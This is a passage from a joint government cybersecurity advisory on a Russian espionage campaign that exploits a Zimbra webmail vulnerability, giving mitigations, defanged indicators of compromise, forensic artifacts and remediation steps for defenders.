      <figcaption class="c-figure__caption"><em><strong>Figure 8: Command used for automated directory cleanup</strong></em></figcaption>
  </figure>
<h2><strong>Response strategies</strong></h2>
<h3><em><strong>Mitigations</strong></em><a class="ck-anchor"></a></h3>
<p>In many cases, by the time an organization identifies a compromise related to this campaign, numerous sensitive and proprietary emails have already been exfiltrated. The significant risk posed by this cyber threat emphasizes the importance for organizations that use ZCS and other similar webmail solutions to take proactive steps to mitigate this risk.</p>
<p>All organizations that use the ZCS webmail service should <strong>immediately prioritize</strong> ensuring that their ZCS is not running a vulnerable version. A patch for <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a> was released for both 10.1.13 and 10.0.18 versions of ZCS [<a href="https://d3fend.mitre.org/technique/d3f:ApplicationHardening">D3-AH</a>]. If immediate patching is not feasible, organizations should advise employees to use alternative mail clients to access email and avoid using the Classic ZCS webmail client until ZCS is updated to a non-vulnerable version [<a href="https://d3fend.mitre.org/tactic/d3f:Isolate/" target="_blank">d3f:Isolate</a>].</p>
<p>System administrators should closely monitor any Internet-connected ZCS or other email systems and the workstations that access those systems and promptly apply available software updates [<a href="https://d3fend.mitre.org/technique/d3f:ApplicationHardening" target="_blank">D3-AH</a>]. Administrators can maintain awareness of active vulnerability exploitation by referencing open source resources, including <a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog">CISA’s Known Exploited Vulnerabilities Catalog</a> and <a href="https://www.ncsc.gov.uk/collection/vulnerability-management/guidance/responding-to-active-exploitation" target="_blank">NCSC-UK’s Responding to active exploitation of vulnerabilities</a> guidance.</p>
<p>Organizations should consider using a third-party authentication service that supports passkeys for authentication to mediate access to ZCS and other services that do not natively support passkeys. By doing so, organizations can work to eliminate the possibility of automated password collection from autocomplete or password reuse [<a href="https://d3fend.mitre.org/technique/d3f:CredentialHardening" target="_blank">D3-CH</a>]. However, Application Passcodes may still be necessary and should be monitored closely.  </p>
<p>Organizations should implement network monitoring capabilities with collection and short-term retention of packet capture or NetFlow data and maintain log collection and storage [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#MaintainLogCollectionStorage3Q">CPG 3.Q</a>]. This will allow organizations to monitor for and identify suspicious network activity [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#IdentifyAdverseEvents4B">CPG 4.B</a>], such as:</p>
<ul>
<li>Significant amounts of outbound data being sent to IPs associated with VPS providers not used by the organization [<a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficAnalysis" target="_blank">D3-NTA</a>];</li>
<li>Frequent DNS queries for a suspicious domain with seemingly random subdomains [<a href="https://d3fend.mitre.org/technique/d3f:DNSTrafficAnalysis" target="_blank">D3-DNSTA</a>];</li>
<li>A sudden spike of connections to a server associated with a recently established domain [<a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficCommunityDeviation">D3-NTCD</a>]; and  </li>
<li>Connections to internal services, such as webmail, from VPN providers frequently leveraged by this group for nefarious activity, such as Mullvad VPN [<a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficCommunityDeviation">D3-NTCD</a>].</li>
</ul>
<p>Additionally, for organizations that can inspect the content of outbound HTTPS connections via break-and-inspect infrastructure, security teams should identify traffic matching the characteristics described in the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section of this advisory.</p>
<h3><em><strong>Indicators of compromise (IOCs)</strong></em><a class="ck-anchor"></a></h3>
<h4><strong>Flowerbed infrastructure</strong></h4>
<p>The following indicators have been attributed to use by LAUNDRY BEAR for their campaign targeting ZCS’s webmail service as of the publication of this advisory. (<strong>Disclaimer: </strong>Due to the frequency of operational structure changes by this group, these indicators are intended solely for historic attribution purposes. Some indicators, such as IPs, compromised emails, and domains, may be outdated, so organizations should check for current activity before acting on these IOCs.) <a href="https://www.cisa.gov/#table7"><strong>Table 7</strong></a> provides details about the server infrastructure used to host Flowerbed, and <a href="https://www.cisa.gov/#table8"><strong>Table 8</strong></a> lists the corresponding SHA-1 hash values for the Let’s Encrypt certificates used by that infrastructure [<a href="https://d3fend.mitre.org/technique/d3f:IdentifierActivityAnalysis" target="_blank">D3-IAA</a>].</p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 7: Flowerbed server infrastructure</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p><strong>Domain </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p><strong>IP Address </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p><strong>First Seen </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p><strong>Last Seen </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>zmailanalytics[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>216.252.238[.]104 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>8 July 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>15 October 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>zimbra-metadata[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>216.252.238[.]18 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>20 August 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>14 October 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>analyticemailmeter[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>37.120.247[.]228 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>24 September 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>emailanalytics.com[.]ua </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>185.86.79[.]95 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>24 September 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>mailnalysis[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>104.248.134[.]194 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>11 November 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>17 February 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>zimbrastat[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>64.226.124[.]190 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 December 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>zimbrasoft.com[.]ua </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>193.238.152[.]66 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>20 January 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>synacorzimbra[.]nl </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>216.252.238[.]64 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>3 February 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>30 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>istc-cloud[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>194.156.103[.]193 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>5 February 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>30 March 2026 </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 8: Flowerbed X.509 certificate SHA-1 hashes  </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p><strong>Associated Domain </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p><strong>X.509 SHA-1 Hash </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p><strong>First Seen </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p><strong>Last Seen </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>zmailanalytics[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>2e4f314bc9943cab5005d6fde0b271c74d47bc9d </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>8 Jul 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>6 Aug 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.zmailanalytics[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>50a87d926621dd06389ba50d86e0ff574ed713a8 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>6 Aug 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>13 Oct 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.zimbra-metadata[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>c5a72420e7bb308d078e62128430897f82194c95 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>20 Aug 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>14 Oct 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.analyticemailmeter[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>8959c4d29e29f02ea94ea8bb21c8df2594c5549d </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>24 Sep 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>8 Nov 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.emailanalytics.com[.]ua </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>62eb76432597694edb01c1fe57aab0cfe03a7178 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>25 Sep 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>27 Sep 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.mailnalysis[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>cddf5c3be1e07f28140aed165b929bf2d614922a </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>12 Nov 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>17 Dec 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.zimbrastat[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>18b3ad442ce73cc8656d51d75bbd7c855f2cb7e8 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>18 Dec 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>28 Dec 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.zimbrasoft.com[.]ua </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>1b25041ececf2457eef0270fc1d785cec8ec9ded </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>21 Jan 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>10 Feb 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.synacorzimbra[.]nl </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>e4fe6466a4f9a4249fe330651e914e45bbdca44a </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>5 Feb 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>22 Mar 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.istc-cloud[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>b6b77c9a455225d525834a403ca9ef5481ed0447 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>12 Feb 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>30 Mar 2026 </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p>LAUNDRY BEAR has used the following email addresses to procure resources used for this campaign:</p>
<ul>
<li>ivanka.zurabishvili@proton[.]me,</li>
<li>zmul1@buildandconsulting[.]com,</li>
<li>garrysmithme@pinmx[.]net, and</li>
<li>hostingclient@pinmx[.]net.</li>
</ul>
<h4><strong>Phishing distribution</strong></h4>
<p>LAUNDRY BEAR primarily relied on ProtonMail for distribution of malicious email. However, as stated above, LAUNDRY BEAR’s more recent efforts likely have shifted to distributing the payload through previous victims.  </p>
<p>The following email addresses have distributed payloads attributed to this campaign:</p>
<ul>
<li>c.laurent.ejfa@proton[.]me,</li>
<li>j.moreau.epsc@proton[.]me,</li>
<li>liberty.insights@proton[.]me,</li>
<li>certain email addresses (presumably compromised) at the isofts.kiev[.]ua domain (i.e., ending with @isofts.kiev[.]ua), and</li>
<li>certain email addresses (presumably compromised) at the navs.edu[.]ua domain (i.e., ending with @navs.edu[.]ua).</li>
</ul>
<p>Additionally, the following are SHA-256 hashes of email samples containing the malicious payload attributed to this campaign:</p>
<ul>
<li>98df604ecc57f884a2e6ce3266a0013ad64455cac48442c2312cfa4765007aaf,</li>
<li>60db9abae75cd8ccc49dd7ea5feb41677566dcd442f12ebc5745ffd2810fb874,</li>
<li>b1f5beb1175fc5c7d1806a2f0d900eb124c54f0286c5c52b66eea7a6633adb1d, and</li>
<li>1517b3caa495f6c4e832df9c75fc94667e3c233773f7fa4e056d5e30e5ead760.</li>
</ul>
<h4><strong>Post-compromise artifacts</strong></h4>
<p>Currently, the script does not remove artifacts. This leaves additional opportunities to identify victims of this activity. While emphasis should always be placed on consistent monitoring of network traffic and endpoint activity, there are a variety of persistent artifacts described below that can be used to identify victims of this campaign.</p>
<p>This <em>Ulej </em>capability relies on creating a significant number of SOAP requests to collect account information for exfiltration. ZCS logs from these requests are stored, by default, in the <em>/opt/zimbra/log/mailbox.log</em> file [<a href="https://d3fend.mitre.org/technique/d3f:ProcessAnalysis" target="_blank">D3-PA</a>]. A significant amount of SOAP request activity that aligns with what was described in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> and <a href="https://www.cisa.gov/#collection1">Collection</a> sections of this advisory could indicate a potential compromise. Specific examples of high-risk SOAP request activity might include:</p>
<ul>
<li>Many <em>SearchGalRequest </em>command requests from a single user over a short period of time;</li>
<li>Use of the <em>CreateAppSpecificPasswordRequest</em> command, especially in cases where it is creating an Application Passcode named “ZimbraWeb”; and</li>
<li>Use of the GetScratchCodesRequest command.</li>
</ul>
<p>While LAUNDRY BEAR uses the localStorage property to track what days had emails previously exfiltrated, defenders can use this property to identify victims of this campaign and determine the scope of exfiltrated information [<a href="https://d3fend.mitre.org/technique/d3f:ProcessAnalysis" target="_blank">D3-PA</a>]. Review of the items stored in that property for an organization’s ZCS webmail client page on an endpoint device could indicate compromise if there are items named with a format of <em>zd_comp_YYYY-MM-DD,</em> as explained in the <a href="https://www.cisa.gov/#collection1">Collection</a> section of this advisory.</p>
<p>While Application Passcodes have non-malicious purposes, in this case instances of these passcodes with the name “ZimbraWeb” are almost certainly malicious. The ZCS webmail application can support 2FA natively and does not require the use of an Application Passcode, so there is no reason that there should be one named “ZimbraWeb.”</p>
<p>In instances where organizations identify victims of this campaign, they should also examine the inbox of the suspected victim for the original phishing email [<a href="https://d3fend.mitre.org/technique/d3f:MessageAnalysis" target="_blank">D3-MA</a>]. If an email that has a payload exploiting <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376">CVE-2025-66376</a> is discovered, <strong>steps should be taken immediately to identify and quarantine other instances of emails with similar body content, senders, and subject lines to prevent further exploitation and exfiltration.  </strong></p>
<h3><em><strong>Remediation</strong></em></h3>
<p>In the event an organization identifies activity associated with this campaign, that organization should take steps to minimize further exploitation. The organization should consider requesting that employees minimize use of the ZCS webmail client until the organization updates to a patched version that is not vulnerable to <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a>.</p>
<p>Organizations should use identifiers from the <a href="https://www.cisa.gov/#ioc1">IOCs</a> section of this report to identify any individuals compromised by this campaign and record the date(s) of compromise(s) to determine the scale and scope of emails exfiltrated.</p>
<p>All users from the organization should have all Application Passcodes and 2FA scratch keys revoked. Affected organizations should require all employees to change passwords in line with establishing minimum password strength requirements [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#EstablishMinimumPasswordStrength3B">CPG 3.B</a>] and creating unique credentials [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#CreateUniqueCredentials3C">CPG 3.C</a>], specifically noting that compromised employees might have had any password stored in a password manager exfiltrated.</p>
<h2><strong>Works cited</strong></h2>
<p>[1<a class="ck-anchor"></a>] Netherlands General Intelligence and Security Service (AIVD) and Netherlands Defence Intelligence and Security Service (MIVD). AIVD and MIVD identify a new Russian cyber threat actor. 2025. <a href="https://www.aivd.nl/site/binaries/site-content/collections/documents/2025/05/27/aivd-en-mivd-onderkennen-nieuwe-russische-cyberactor/Advisory+AIVD+en+MIVD+Public+report+on+new+cyber+actor.pdf" target="_blank">https://www.aivd.nl/site/binaries/site-content/collections/documents/2025/05/27/aivd-en-mivd-onderkennen-nieuwe-russische-cyberactor/Advisory+AIVD+en+MIVD+Public+report+on+new+cyber+actor.pdf</a></p>
<p>[2]<a class="ck-anchor"></a> Microsoft Corporation. New Russia-affiliated actor Void Blizzard targets critical sectors for espionage. 2025. <a href="https://www.microsoft.com/en-us/security/blog/2025/05/27/new-russia-affiliated-actor-void-blizzard-targets-critical-sectors-for-espionage/" target="_blank">https://www.microsoft.com/en-us/security/blog/2025/05/27/new-russia-affiliated-actor-void-blizzard-targets-critical-sectors-for-espionage/</a></p>
<p>[3]<a class="ck-anchor"></a> Palo Alto Networks Unit 42. Russian Global Webmail Espionage. 2026. <a href="https://unit42.paloaltonetworks.com/russian-webmail-espionage/">https://unit42.paloaltonetworks.com/russian-webmail-espionage/ </a></p>
<p>[4]<a class="ck-anchor"></a> Proofpoint. TA488 Targets Zimbra Mailservers with Half-Click Exploits. 2026. <a href="https://www.proofpoint.com/us/blog/threat-insight/ta488-zcs-exploit">https://www.proofpoint.com/us/blog/threat-insight/ta488-zcs-exploit</a></p>
<p>[5]<a class="ck-anchor"></a> Seqrite. Operation GhostMail: Russian APT exploits Zimbra Webmail to Target Ukraine State Agency. 2026. <a href="https://www.seqrite.com/blog/operation-ghostmail-zimbra-xss-russian-apt-ukraine/" target="_blank">https://www.seqrite.com/blog/operation-ghostmail-zimbra-xss-russian-apt-ukraine/  </a></p>
<h2><strong>Footnotes</strong></h2>
<p><sup>1</sup><a class="ck-anchor"></a> Národní úřad pro kybernetickou a informační bezpečnost<br><sup>2</sup><a class="ck-anchor"></a><sup> </sup>Forsvarets Efterretningstjeneste<br><sup>3</sup><a class="ck-anchor"></a><sup> </sup>Välisluureamet<br><sup>4</sup><a class="ck-anchor"></a> Sotilastiedustelu<br><sup>5</sup><a class="ck-anchor"></a><sup> </sup> Suojelupoliisi<br><sup>6</sup><a class="ck-anchor"></a> Direction générale de la sécurité intérieure<br><sup>7</sup><a class="ck-anchor"></a> Agence nationale de la sécurité des systèmes d’information<br><sup>8</sup><a class="ck-anchor"></a> Agenzia Informazioni e Sicurezza Esterna<br><sup>9</sup><a class="ck-anchor"></a> Agenzia Informazioni e Sicurezza Interna<br><sup>10</sup><a class="ck-anchor"></a> Serviciul de Informații și Securitate al Republicii Moldova<br><sup>11 </sup><a class="ck-anchor"></a>Agencja Wywiadu<br><sup>12</sup><a class="ck-anchor"></a><sup> </sup>Służba Kontrwywiadu Wojskowego<br><sup>13</sup><a class="ck-anchor"></a><sup> </sup>Centro Nacional de Inteligencia<br><sup>14 </sup><a class="ck-anchor"></a>Nationellt Cybersäkerhetscenter<br><sup>15</sup><a class="ck-anchor"></a> MITRE and ATT&amp;CK are registered trademarks of The MITRE Corporation. MITRE D3FEND is a trademark of The MITRE Corporation.</p>
<h2><strong>Acknowledgements</strong></h2>
<p>The authoring agencies acknowledge the contributions to this advisory from Palo Alto Networks Unit 42 and Proofpoint.</p>
<h2><strong>Disclaimer of endorsement</strong></h2>
<p>The information and opinions contained in this document are provided "as is" and without any warranties or guarantees. Reference herein to any specific commercial products, process, or service by trade name, trademark, manufacturer, or otherwise, does not constitute or imply its endorsement, recommendation, or favoring by the United States Government, and this guidance shall not be used for advertising or product endorsement purposes.</p>
<p>Organizations have no obligation to respond or provide information back to the authoring organizations in response to this joint advisory. If, after reviewing the information provided, an organization decides to provide information to the authoring organizations, reporting must be consistent with all applicable laws and policies.</p>
<h2><strong>Purpose</strong></h2>
<p>This document was developed in furtherance of the authoring agencies’ cybersecurity missions, including their responsibilities to identify and disseminate threats, and to develop and issue cybersecurity specifications and mitigations. This information may be shared broadly to reach all appropriate stakeholders.</p>
<h2><strong>Contact</strong></h2>
<div class="SCXW95230887 BCX8">
<div class="OutlineElement Ltr SCXW95230887 BCX8">
<p><strong>United States organizations </strong></p>
<ul>
<li><strong>National Security Agency</strong> <br>Cybersecurity Report Feedback: <a href="mailto:CybersecurityReports@nsa.gov" target="_blank"><u>CybersecurityReports@nsa.gov</u></a> <br>Defense Industrial Base Inquiries and Cybersecurity Services: <a href="mailto:DIB_Defense@cyber.nsa.gov" target="_blank"><u>DIB_Defense@cyber.nsa.gov</u></a> <br>Media Inquiries / Press Desk: NSA Media Relations: 443-634-0721, <a href="mailto:MediaRelations@nsa.gov" target="_blank"><u>MediaRelations@nsa.gov</u></a> </li>
<li><strong>Cybersecurity and Infrastructure Security Agency</strong> <br>CISA’s 24/7 Operations Center (<a href="mailto:contact@cisa.dhs.gov" target="_blank"><u>contact@cisa.dhs.gov</u></a>), or by calling 1-844-Say-CISA (1-844-729-2472). </li>
